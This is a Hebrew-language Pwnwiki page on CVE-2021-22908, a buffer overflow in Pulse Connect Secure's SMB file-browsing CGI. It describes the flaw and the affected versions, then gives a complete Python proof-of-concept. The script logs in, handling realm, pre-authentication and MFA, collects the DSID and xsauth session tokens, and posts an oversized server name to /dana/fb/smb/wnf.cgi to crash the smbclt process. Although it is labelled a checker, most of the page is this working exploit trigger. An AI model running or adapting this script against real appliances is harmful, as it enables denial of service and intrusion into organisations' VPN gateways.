Pwnwiki: Created page with "== היקף ההשפעה =="

2021-06-04T02:10:55Z

Created page with "== היקף ההשפעה =="

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== תיאור פגיעות ==

מכיוון ש- PCS תומך בחיבור לשיתוף קבצים ב- Windows (SMB), הפונקציה ניתנת על ידי סקריפטים של CGI המבוססים על ספריות Samba 4.5.10 ויישומי עזר. בעת ציון שם שרת ארוך לפעולות SMB מסוימות, יישום smbclt עלול לקרוס עקב הצפת מאגר, תלוי באורך שם השרת שצוין.

אושר כי למערכת PCS 9.1R11.4 יש פגיעות זו. נקודת הקצה היעד של CGI היא <code>/dana/fb/smb/wnf.cgi</code>. נקודות קצה אחרות של CGI עשויות גם לעורר פגיעות זו.

אם תוקף לא מצליח לנקות לאחר ניצול מוצלח של פגיעות זו, ציון שם שרת ארוך עלול לגרום לרישומי יומן האירועים הבאים של PCS:
<pre>
Critical ERR31093 2021-05-24 14:05:37 - ive - [127.0.0.1] Root::System()[] - Program smbclt recently failed.
</pre>

אך כדי לנצל את הפגיעות הזו, על שרת ה- PCS להיות בעל מדיניות גישה לקבצים של Windows המאפשרת \\ * או מדיניות אחרת המאפשרת לתוקף להתחבר לכל שרת. באפשרותך להציג את מדיניות ה- SMB הנוכחית על ידי הצגת משתמש-> מדיניות משאבים-> מדיניות גישה לקבצים של Windows בדף הניהול של PCS. 9.1R2 והתקני PCS קודמים משתמשים במדיניות ברירת המחדל של התרת חיבורים לכל מארח SMB. החל מ 9.1R3, מדיניות זו שונתה מהרשאת ברירת המחדל לדחיית ברירת המחדל.

== היקף ההשפעה ==
Pulse Connect Secure 9.0RX and 9.1RX

==POC==
<pre>
#!/usr/bin/env python3
# Utility to check for Pulse Connect Secure CVE-2021-22908
# https://www.kb.cert.org/vuls/id/667933

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
import sys
from html.parser import HTMLParser
import getpass

parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908')
parser.add_argument('host', type=str, help='PCS IP or hostname)')
parser.add_argument('-u', '--user', dest='user', type=str, help='username')
parser.add_argument('-p', '--pass', dest='password', type=str, help='password')
parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm')
parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID')
parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth')
parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround')

args = parser.parse_args()

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class formvaluefinder(HTMLParser):
def __init__(self, searchval):
super(type (self), self).__init__()
self.searchval = searchval
def handle_starttag(self, tag, attrs):
if tag == 'input':
# We're just looking for form <input> tags
foundelement = False
for attr in attrs:
if(attr[0] == 'name'):
if(attr[1] == self.searchval):
foundelement = True
elif(attr[0] == 'value' and foundelement == True):
self.data = attr[1]

class preauthfinder(HTMLParser):
foundelement = False
def handle_starttag(self, tag, attrs):
if tag == 'textarea':
# We're just looking for <textarea> tags
foundelement = False
for attr in attrs:
if(attr[0] == 'id'):
if(attr[1] == 'sn-preauth-text_2'):
self.foundelement = True
def handle_data(self, data):
if self.foundelement:
self.data = data
self.foundelement = False

def get_realm(host, defaulturi):
realm = None
print('Getting default realm for %s...' % host)
url = 'https://%s%s' % (host,defaulturi)
res = None
try:
res = requests.get(url, verify=False, timeout=10)
except requests.exceptions.ConnectionError:
print('Error retrieving %s' % url)

if res:
if res.status_code == 200:
html = str(res.content)
if 'sn-preauth-text_2' in html:
print('Preauth required...')
parser = preauthfinder()
parser.feed(html)
preauthtext = parser.data
values = {'sn-preauth-text': preauthtext, 'sn-preauth-proceed': 'Proceed'}
res = requests.post(res.url, data=values, verify=False, allow_redirects=False, timeout=10)
if res.content:
parser = formvaluefinder('realm')
parser.feed(str(res.content))
realm = parser.data
else:
print('Error retrieving login page')

else:
parser = formvaluefinder('realm')
parser.feed(html)
realm = parser.data
return realm

def get_dsid(host, defaulturi, realm, user, password):
dsid = None
loginuri = defaulturi.replace('welcome.cgi', 'login.cgi')
url = 'https://%s%s' % (host,loginuri)
values = {'username': user, 'password': password, 'realm': realm, 'btnSubmit': 'Sign In'}
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
if 'confirm' in res.headers['location']:
# Redirect to "user-confirm" that they still want to log in, despite already
# having an active session
print('User session is already active! Proceeding...')
res = requests.post(url, data=values, verify=False, allow_redirects=True, timeout=10)
parser = formvaluefinder('FormDataStr')
parser.feed(str(res.content))
formdata = parser.data
values = {'btnContinue' : 'Continue the session', 'FormDataStr': formdata}
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
elif 'cred' in res.headers['location']:
# This is a pulse that requires 2FA
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
for cookie in res.cookies:
if cookie.name == 'id':
key = cookie.value
password2 = input('MFA code: ')
values = {'key': key, 'password#2': password2, 'btnSubmit': 'Sign In'}
cookies = {'id': key, 'DSSigninNotif': '1'}
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=False, timeout=10)
if 'confirm' in res.headers['location']:
# Redirect to "user-confirm" that they still want to log in, despite already
# having an active session
print('User session is already active! Proceeding...')
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=True, timeout=10)
parser = formvaluefinder('FormDataStr')
parser.feed(str(res.content))
formdata = parser.data
values = {'btnContinue' : 'Continue the session', 'FormDataStr': formdata}
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=False, timeout=10)
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
else:
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
elif 'failed' in res.headers['location']:
print('Login failed!')
else:
# Login accepted
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value

return dsid

def get_xsauth(host, dsid):
xsauth = None
url = 'https://%s/dana/home/index.cgi' % host
cookies = {'DSID':dsid}
res = requests.get(url, verify=False, cookies=cookies, timeout=10)
if 'xsauth' in str(res.content):
parser = formvaluefinder('xsauth')
parser.feed(str(res.content))
xsauth = parser.data
else:
print('Cannot find xsauth string for provided DSID: %s' % dsid)
return xsauth

def trigger_vul(host, dsid, xsauth):
url = 'https://%s/dana/fb/smb/wnf.cgi' % host
values = {
't': 's',
'v': '%s,,' % ('A' * 1800),
'dir': 'tmp',
'si': None,
'ri': None,
'pi': None,
'confirm': 'yes',
'folder': 'tmp',
'acttype': 'create',
'xsauth': xsauth,
'create': 'Create Folder',
}
cookies = {'DSID': dsid}
try:
res = requests.post(url, data=values, verify=False, allow_redirects=False, cookies=cookies, timeout=60)
status = res.status_code
if 'DSIDFormDataStr' in str(res.content):
# We got page asking to confirm our action
print('xsauth value was not accepted')
else:
if status == 200 and 'Error FB-8' in str(res.content):
print('HTTP %s. Windows File Access Policies prevents exploitation.' % status)
elif status == 200:
print('HTTP %s. Not vulnerable.' % status)
elif status == 403:
print('HTTP %s. XML workaround applied.' % status)
elif status == 500:
print('HTTP %s. %s is vulnerable to CVE-2021-22908!' % (status, host))
elif status == 302:
print('HTTP %s. Are you sure your DSID is valid?' % host)
else:
print('HTTP %s. Not sure how to interpret this result.' % status)
except requests.exceptions.ReadTimeout:
print('No response from server. Try again...')

def get_default(host):
url = 'https://%s' % host
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
try:
location = res.headers['location']
if 'dana-na' not in location:
print('%s does not seem to be a PCS host' % host)
location = None
except:
pass
return location

def check_xml(host):
url = 'https://%s/dana/meeting' % host
#print('Checking status of %s ...' % url)
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
if res.status_code == 403:
print('Workaround-2104 appears to be installed')
else:
print('Workaround-2104 does NOT seem to be installed. Hope you are on R11.4 or later!')

url = 'https://%s/dana-cached/fb/smb/wfmd.cgi' % host
#print('Checking status of %s ...' % url)
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
if res.status_code == 403:
print('Workaround-2105 appears to be installed')
else:
print('Workaround-2105 does NOT seem to be installed. Hope you are on R11.5 or later!')

host = args.host
if args.noauth:
check_xml(host)
else:
defaulturi = get_default(host)
if defaulturi:

if not args.realm:
realm = get_realm(host, defaulturi)
else:
realm = args.realm

if realm:
print('Realm: %s' % realm)
if not args.user and not args.dsid:
user = input('User: ')
else:
user = args.user
if not args.password and not args.dsid:
password = getpass.getpass()
else:
password = args.password
if not args.dsid:
dsid = get_dsid(host, defaulturi, realm, user, password)
print('DSID: %s' % dsid)
else:
dsid = args.dsid
if dsid:
if not args.xsauth:
xsauth = get_xsauth(host, dsid)
print('xsauth: %s' % xsauth)
else:
xsauth = args.xsauth
if xsauth:
trigger_vul(host, dsid, xsauth)
</pre>

== הפניה ==
https://short.pwnwiki.org/?c=1NiPen

https://short.pwnwiki.org/?c=2Um6Rb

CVE-2021-22908 Pulse Connect Secure 任意代碼執行漏洞/he - Revision history

Pwnwiki: Created page with "== היקף ההשפעה =="